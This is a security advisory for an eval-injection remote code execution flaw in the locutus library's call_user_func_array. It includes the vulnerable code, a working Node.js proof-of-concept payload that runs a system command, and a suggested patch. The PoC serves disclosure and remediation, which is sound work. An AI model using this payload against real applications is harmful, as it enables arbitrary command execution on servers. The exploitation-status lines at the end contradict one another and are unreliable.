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GHSA-fp25-p6mj-qqg6
No affected components available
Details
A Remote Code Execution (RCE) flaw was discovered in the locutus project (v2.0.39), specifically within the call_user_func_array function implementation. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application's runtime environment. This issue stems from an insecure implementation of the call_user_func_array function (and its wrapper call_user_func), which fails to properly validate all components of a callback array before passing them to eval().
Technical Details
The vulnerability is in the call_user_func_array function in src/php/funchand/call_user_func_array.js, between lines 31 and 35 of version 2.0.39. This function mimics PHP's dynamic function call feature and accepts a callback argument, which can be a string (function name) or an array (class and method name).
The developers applied a regular expression check (validJSFunctionNamePattern) to the first array element (the class identifier), but not to the second element (the method identifier). As a result, the code inserts the user-supplied method name directly into the evaluation string: func = eval(cb[0] + "['" + cb[1] + "']"). This oversight allows an attacker to craft a payload in the second element that escapes the property access context, injects arbitrary JavaScript commands, and executes them with the full privileges of the Node.js process.
// src/php/funchand/call_user_func_array.js (Lines 31-35)
if (cb[0].match(validJSFunctionNamePattern)) {
// biome-ignore lint/security/noGlobalEval: needed for PHP port
func = eval(cb[0] + "['" + cb[1] + "']")
}
PoC
This PoC loads the vulnerable call_user_func_array implementation from Locutus and supplies a crafted callback argument that breaks out of the internal eval. The injected payload executes a system command and forces the function to fail validation, causing the command output to surface in the error message.
const path = require("path");
const fs = require("fs");
const vulnFilePath = path.resolve(
__dirname,
"./src/php/funchand/call_user_func_array.js"
);
if (!fs.existsSync(vulnFilePath)) {
console.error("error target file not found");
process.exit(1);
}
console.log("loading target");
const call_user_func_array = require(vulnFilePath);
const payload = "']; require('child_process').execSync('id').toString().trim(); //";
console.log("payload set");
try {
console.log("run");
call_user_func_array(["Date", payload], []);
console.log("fail no error");
} catch (e) {
const msg = e.message;
if (msg && msg.includes("uid=")) {
console.log("pwn");
const proof = msg.split(" is not a valid function")[0];
console.log("out " + proof);
} else {
console.error("fail unexpected");
console.error(msg);
process.exit(1);
}
}
Impact
If exploited, this issue allows attackers to execute arbitrary JavaScript code in the Node.js process. It occurs when applications pass untrusted array callbacks to call_user_func_array(), a practice common in JSON-RPC setups and PHP-to-JavaScript porting layers. Since the library fails to properly sanitize inputs, this is considered a supplier defect rather than an integration error.
This flaw has been exploited in practice, but it is not a "drive-by" vulnerability. It only arises when an application serves as a gateway or router using Locutus functions.
Finally, if an attacker can control cb[0] without regex constraints, they could use global or process directly. However, Locutus protects cb[0]. This cb[1] injection is the only way to bypass the intended security controls of the library. It is a "bypass" of the library's own protection.
Remediation
Update the loop to capture the value correctly or use the index to reference the slice directly.
// src/php/funchand/call_user_func_array.js (Lines 31-35)
if (typeof cb[0] === "string") {
if (cb[0].match(validJSFunctionNamePattern)) {
// biome-ignore lint/security/noGlobalEval: needed for PHP port
// func = eval(cb[0] + "['" + cb[1] + "']");
var obj = null;
try {
obj = eval(cb[0]);
} catch (e) {}
if (obj && typeof obj[cb[1]] === "function") {
func = obj[cb[1]];
}
}
} else {
func = cb[0][cb[1]];
}
return func.apply(null, parameters);
And maybe after a better remediations is refactor call_user_func_array to resolve global objects using global[cb[0]] or window[cb[0]].
Resources
https://cwe.mitre.org/data/definitions/95.html
https://github.com/locutusjs/locutus/blob/main/src/php/funchand/call_user_func_array.js#L31
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval!
Author: Tomas Illuminati
The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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